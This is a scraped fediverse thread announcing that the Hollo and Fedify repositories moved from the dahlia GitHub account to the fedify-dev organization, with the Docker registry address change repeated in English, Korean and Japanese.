The #Hollo repository has moved from [@dahlia/hollo] to [@fedify-dev/hollo]! Along with this move, our #Docker image registry has also been relocated from [ghcr.io/dahlia/hollo] to [ghcr.io/fedify-dev/hollo]. While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address. To update your Docker configurations, please change: - From: `ghcr.io/dahlia/hollo:latest` - To: `ghcr.io/fedify-dev/hollo:latest` The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! :hollo: #fediverse [@dahlia/hollo]: https://github.com/dahlia/hollo [@fedify-dev/hollo]: https://github.com/fedify-dev/hollo [ghcr.io/dahlia/hollo]: https://github.com/users/dahlia/packages/container/package/hollo [ghcr.io/fedify-dev/hollo]: https://github.com/fedify-dev/hollo/pkgs/container/hollo https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

@hollo@hollo.social

The repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.

While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.

To update your Docker configurations, please change:

  • From: ghcr.io/dahlia/hollo:latest
  • To: ghcr.io/fedify-dev/hollo:latest

The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

@hollo@hollo.social

The repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.

While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.

To update your Docker configurations, please change:

  • From: ghcr.io/dahlia/hollo:latest
  • To: ghcr.io/fedify-dev/hollo:latest

The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

@hollo@hollo.social · Reply to Hollo :hollo:

저장소가 @dahlia/hollo에서 @fedify-dev/hollo로 이전되었습니다. 이에 따라 이미지 레지스트리도 ghcr.io/dahlia/hollo에서 ghcr.io/fedify-dev/hollo로 이전되었습니다.

기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다.

Docker 설정을 다음과 같이 변경해 주세요:

  • 기존 이미지 주소: ghcr.io/dahlia/hollo:latest
  • 새 이미지 주소: ghcr.io/fedify-dev/hollo:latest

이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

@hollo@hollo.social

The repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.

While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.

To update your Docker configurations, please change:

  • From: ghcr.io/dahlia/hollo:latest
  • To: ghcr.io/fedify-dev/hollo:latest

The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

@hollo@hollo.social · Reply to Hollo :hollo:

Holloのリポジトリが@dahlia/holloから@fedify-dev/holloに移行いたしました。これに伴い、Dockerイメージレジストリもghcr.io/dahlia/holloからghcr.io/fedify-dev/holloに移行しております。

旧イメージレジストリは引き続きアクセス可能ですが、新しいタグの追加は行われません。Holloをご利用の皆様には、新しいレジストリアドレスへの更新をお願いいたします。

Dockerの設定を以下のように更新してください:

  • 旧アドレス:ghcr.io/dahlia/hollo:latest
  • 新アドレス:ghcr.io/fedify-dev/hollo:latest

この移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。 :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

@hollo@hollo.social

The repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.

While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.

To update your Docker configurations, please change:

  • From: ghcr.io/dahlia/hollo:latest
  • To: ghcr.io/fedify-dev/hollo:latest

The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

@hongminhee@hollo.social

Sharing an important update about : we've moved our repository to a new home! If you're using Hollo with , please check this announcement:

https://hollo.social/@hollo/0194aa78-bf56-7559-bf64-e9e1c09a69bd

hollo.social

The #Hollo repository has move…

The #Hollo repository has moved from [@dahlia/hollo] to [@fedify-dev/hollo]! Along with this move, our #Docker image registry has also been relocated from [ghcr.io/dahlia/hollo] to [ghcr.io/fedify-dev/hollo]. While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address. To update your Docker configurations, please change: - From: `ghcr.io/dahlia/hollo:latest` - To: `ghcr.io/fedify-dev/hollo:latest` The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! :hollo: #fediverse [@dahlia/hollo]: https://github.com/dahlia/hollo [@fedify-dev/hollo]: https://github.com/fedify-dev/hollo [ghcr.io/dahlia/hollo]: https://github.com/users/dahlia/packages/container/package/hollo [ghcr.io/fedify-dev/hollo]: https://github.com/fedify-dev/hollo/pkgs/container/hollo https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

@hollo@hollo.social

The repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.

While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.

To update your Docker configurations, please change:

  • From: ghcr.io/dahlia/hollo:latest
  • To: ghcr.io/fedify-dev/hollo:latest

The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

@hollo@hollo.social · Reply to Hollo :hollo:

Holloのリポジトリが@dahlia/holloから@fedify-dev/holloに移行いたしました。これに伴い、Dockerイメージレジストリもghcr.io/dahlia/holloからghcr.io/fedify-dev/holloに移行しております。

旧イメージレジストリは引き続きアクセス可能ですが、新しいタグの追加は行われません。Holloをご利用の皆様には、新しいレジストリアドレスへの更新をお願いいたします。

Dockerの設定を以下のように更新してください:

  • 旧アドレス:ghcr.io/dahlia/hollo:latest
  • 新アドレス:ghcr.io/fedify-dev/hollo:latest

この移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。 :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

@hollo@hollo.social · Reply to Hollo :hollo:

Holloのリポジトリが@dahlia/holloから@fedify-dev/holloに移行いたしました。これに伴い、Dockerイメージレジストリもghcr.io/dahlia/holloからghcr.io/fedify-dev/holloに移行しております。

旧イメージレジストリは引き続きアクセス可能ですが、新しいタグの追加は行われません。Holloをご利用の皆様には、新しいレジストリアドレスへの更新をお願いいたします。

Dockerの設定を以下のように更新してください:

  • 旧アドレス:ghcr.io/dahlia/hollo:latest
  • 新アドレス:ghcr.io/fedify-dev/hollo:latest

この移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。 :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

@hollo@hollo.social · Reply to Hollo :hollo:

저장소가 @dahlia/hollo에서 @fedify-dev/hollo로 이전되었습니다. 이에 따라 이미지 레지스트리도 ghcr.io/dahlia/hollo에서 ghcr.io/fedify-dev/hollo로 이전되었습니다.

기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다.

Docker 설정을 다음과 같이 변경해 주세요:

  • 기존 이미지 주소: ghcr.io/dahlia/hollo:latest
  • 새 이미지 주소: ghcr.io/fedify-dev/hollo:latest

이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

